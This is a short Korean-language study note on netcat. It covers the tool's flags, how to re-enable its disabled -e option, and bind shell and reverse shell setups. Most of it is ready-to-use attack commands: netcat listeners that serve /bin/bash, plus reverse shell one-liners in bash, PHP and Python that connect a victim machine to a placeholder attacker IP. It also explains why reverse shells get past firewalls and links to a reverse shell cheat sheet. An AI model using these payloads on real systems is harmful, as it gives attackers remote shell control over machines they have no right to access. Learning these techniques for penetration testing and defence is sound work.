netcat command
-네트워크 연결, 데이터 전송, 포트 스캔, 네트워크 진단 작업등을 수행하는 데 유용한 도구입니다.
#port open
nc -vlp {port_number} -e /bin/bash
-v: Verbose 모드로, 명령어 실행 중 더 많은 세부 정보와 진단 정보를 출력합니다.
-l: listen 모드로, nc가 서버모드로 동작하게 하여 연결을 기다리도록 합니다.
-p: port 옵션으로 리스닝할 포트를 지정합니다.
#connect
nc {ip adress} {port}
*nc -e 옵션에 관하여
-e 옵션은 nc -vlp 1111 -e /bin/bash 처럼 연결한 쪽에서 포트를 연쪽의 쉘을 사용할 수 있도록 하는 옵션인데, 보안 목적으로 비활성화되어 있습니다. 이는 아래의 과정을 통해 활성화할 수 있으나 실제 공격 과정에서 서버가 이를 활성화해줄 이유가 없으므로 사용하기 어렵습니다.
sudo apt-get install netcat-traditional
sudo update-alternatives --config nc
#traditional 선택
bind shell[공격자->서버]
-공격 대상인 서버에서 특정 포트를 열어두고, 공격자가 그 포트에 연결하여 시스템을 제어하는 방식입니다.
#victim server
nc -vlp {port_number} -e /bin/bash
#attacker server
nc {victim_server_ip} {port}
whoami
victim
reverse shell[서버 -> 공격자]
-공격자가 자신의 서버에서 포트를 열어두고, 공격 대상인 서버에서 공격자가 열어놓은 포트에 연결하여 시스템을 제어하는 방식입니다.
-리버스셸을 사용하는 이유는 방화벽이 외부에서 들어오는 요청에 대해서는 차단할 가능성이 높지만, 내부에서 외부로 나가는 요청에 대해서는 차단하지 않을 가능성이 높기 때문입니다.
#attacker server
nc -vlp {port}
#victim server
nc {attacker_ip} {port} -e /bin/bash
-혹은 아래와 같은 구문을 사용할 수도 있습니다.
#victim server
bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1
php -r '$sock=fsockopen("{attacker_ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker_ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
*https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet